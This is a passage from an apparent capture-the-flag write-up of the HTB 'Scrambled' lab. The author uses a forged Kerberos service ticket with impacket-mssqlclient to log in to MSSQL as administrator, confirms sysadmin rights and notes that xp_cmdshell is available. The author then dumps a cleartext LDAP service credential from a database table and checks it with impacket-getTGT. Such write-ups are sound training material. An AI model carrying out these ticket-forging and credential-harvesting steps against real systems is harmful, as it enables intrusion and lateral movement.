administrator Session
Using the forged TGS ticket, I can authenticate directly to the target MSSQL instance as the administrator
user
┌──(kali㉿kali)-[~/archive/htb/labs/scrambled]
└─$ KRB5CCNAME=administrator.ccache impacket-mssqlclient scrm.local/@dc1.scrm.local -no-pass -k -dc-ip $IP
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Encryption required, switching to TLS
[*] envchange(database): Old Value: master, New Value: master
[*] envchange(language): Old Value: , New Value: us_english
[*] envchange(packetsize): Old Value: 4096, New Value: 16192
[*] info(dc1): Line 1: Changed database context to 'master'.
[*] info(dc1): Line 1: Changed language setting to us_english.
[*] ack: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL (SCRM\administrator dbo@master)>
The execution above indicates that the forged TGS ticket was successfully authenticated and accepted by the MSSQL instance. In this context, the authentication process occurs directly with the MSSQL server, and the forged TGS ticket is presented as proof of the user’s identity. The Key Distribution Center (KDC) is not involved in this stage, as the TGS ticket was already forged and saved offline.
sysadmin
SQL (SCRM\administrator dbo@master)> SELECT is_srvrolemember('sysadmin');
-
1
As expected, the impersonated administrator
user is indeed a sysadmin user within the MSSQL server
The impersonated administrator
user being a sysadmin user within the target MSSQL instance grants OS command execution privileges via xp_cmdshell
While this could be leveraged to gain the initial foothold on the target system, I will further explore the MSSQL server
Databases
SQL (SCRM\administrator dbo@master)> SELECT name from master..sysdatabases;
name
----------
master
tempdb
model
msdb
ScrambleHR
There is a single none default DB; ScrambleHR
ScrambleHR
DB
SQL (SCRM\administrator dbo@master)> SELECT table_name FROM ScrambleHR.information_schema.tables;
table_name
----------
Employees
UserImport
Timesheets
ScrambleHR.Employees
Table
SQL (SCRM\administrator dbo@master)> SELECT * FROM ScrambleHR.dbo.Employees;
EmployeeID FirstName Surname Title Manager Role
---------- --------- ------- ----- ------- ----
The ScrambleHR.Employees
table is empty
ScrambleHR.UserImport
Table
SQL (SCRM\administrator dbo@master)> SELECT * FROM ScrambleHR.dbo.UserImport;
LdapUser LdapPwd LdapDomain RefreshInterval IncludeGroups
-------- ----------------- ---------- --------------- -------------
MiscSvc ScrambledEggs9900 scrm.local 90 0
The ScrambleHR.UserImport
table contains a CLEARTEXT credential of the miscsvc
account
Column names suggest that the account is used for LDAP services
Additionally, the miscsvc
account has already been identified to be a valid user within the target domain during the BloodHound session
The credential must be validated first
Validation
┌──(kali㉿kali)-[~/archive/htb/labs/scrambled]
└─$ impacket-getTGT scrm.local/miscsvc@dc1.scrm.local -k -dc-ip $IP
Impacket v0.11.0 - Copyright 2023 Fortra
password: ScrambledEggs9900
[*] Saving ticket in miscsvc@dc1.scrm.local.ccache
TGT generated
The credential of the miscsvc
account is validated
This may be used to gain a lateral movement to the miscsvc
account
ScrambleHR.Timesheets
Table
SQL (SCRM\administrator dbo@master)> SELECT * FROM ScrambleHR.dbo.Timesheets;
EmployeeID TimeStart TimeEnd
---------- --------- -------
The ScrambleHR.Timesheets
table is empty